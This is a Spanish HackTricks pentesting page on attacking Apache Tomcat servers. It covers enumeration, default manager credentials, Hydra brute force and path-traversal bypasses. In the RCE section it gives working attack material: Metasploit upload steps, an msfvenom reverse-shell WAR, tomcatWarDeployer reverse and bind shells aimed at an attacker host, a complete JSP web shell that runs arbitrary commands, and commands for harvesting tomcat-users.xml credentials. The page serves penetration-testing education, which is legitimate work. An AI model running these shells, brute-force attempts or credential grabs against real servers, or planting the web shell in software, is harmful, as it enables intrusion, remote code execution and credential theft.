.. | ||
basic-tomcat-info.md | ||
README.md |
Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Discovery
- Normalmente se ejecuta en el puerto 8080
- Error común de Tomcat:
Enumeration
Identificación de versión
Para encontrar la versión de Apache Tomcat, se puede ejecutar un comando simple:
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Esto buscará el término "Tomcat" en la página de índice de documentación, revelando la versión en la etiqueta de título de la respuesta HTML.
Ubicación de Archivos del Administrador
Identificar las ubicaciones exactas de los directorios /manager
y /host-manager
es crucial ya que sus nombres podrían ser alterados. Se recomienda una búsqueda de fuerza bruta para localizar estas páginas.
Enumeración de Nombres de Usuario
Para versiones de Tomcat anteriores a la 6, es posible enumerar nombres de usuario a través de:
msf> use auxiliary/scanner/http/tomcat_enum
Credenciales Predeterminadas
El /manager/html
directorio es particularmente sensible ya que permite la carga y despliegue de archivos WAR, lo que puede llevar a la ejecución de código. Este directorio está protegido por autenticación HTTP básica, siendo las credenciales comunes:
- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Estas credenciales se pueden probar usando:
msf> use auxiliary/scanner/http/tomcat_mgr_login
Otro directorio notable es /manager/status
, que muestra la versión de Tomcat y del sistema operativo, ayudando en la identificación de vulnerabilidades.
Ataque de Fuerza Bruta
Para intentar un ataque de fuerza bruta en el directorio del administrador, se puede usar:
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Along with setting various parameters in Metasploit to target a specific host.
Common Vulnerabilities
Divulgación de Contraseña en Backtrace
Acceder a /auth.jsp
puede revelar la contraseña en un backtrace bajo circunstancias afortunadas.
Codificación Doble de URL
La vulnerabilidad CVE-2007-1860 en mod_jk
permite la codificación doble de URL para la traversía de rutas, lo que permite el acceso no autorizado a la interfaz de gestión a través de una URL especialmente diseñada.
Para acceder a la web de gestión de Tomcat, ve a: pathTomcat/%252E%252E/manager/html
/examples
Las versiones de Apache Tomcat de 4.x a 7.x incluyen scripts de ejemplo que son susceptibles a la divulgación de información y ataques de scripting entre sitios (XSS). Estos scripts, listados de manera exhaustiva, deben ser revisados para detectar accesos no autorizados y posibles explotaciones. Encuentra más información aquí
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Explotación de Traversía de Ruta
En algunas configuraciones vulnerables de Tomcat puedes obtener acceso a directorios protegidos en Tomcat usando la ruta: /..;/
Así que, por ejemplo, podrías acceder a la página del gestor de Tomcat accediendo a: www.vulnerable.com/lalala/..;/manager/html
Otra forma de eludir rutas protegidas usando este truco es acceder a http://www.vulnerable.com/;param=value/manager/html
RCE
Finalmente, si tienes acceso al Gestor de Aplicaciones Web de Tomcat, puedes subir y desplegar un archivo .war (ejecutar código).
Limitaciones
Solo podrás desplegar un WAR si tienes suficientes privilegios (roles: admin, manager y manager-script). Esos detalles se pueden encontrar en tomcat-users.xml generalmente definido en /usr/share/tomcat9/etc/tomcat-users.xml
(varía entre versiones) (ver sección POST).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom Reverse Shell
- Crea el war para desplegar:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
- Sube el archivo
revshell.war
y accede a él (/revshell/
):
Shell bind y reverse con tomcatWarDeployer.py
En algunos escenarios esto no funciona (por ejemplo, versiones antiguas de sun)
Descargar
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Shell inversa
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Shell de enlace
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Usando Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Método manual - Web shell
Crea index.jsp con este contenido:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
También podrías instalar esto (permite la carga, descarga y ejecución de comandos): http://vonloesch.de/filebrowser.html
Método Manual 2
Obtén un shell web JSP como este y crea un archivo WAR:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
El nombre del archivo de credenciales de Tomcat es tomcat-users.xml
find / -name tomcat-users.xml 2>/dev/null
Otras formas de recopilar credenciales de Tomcat:
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
Otras herramientas de escaneo de tomcat
Referencias
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.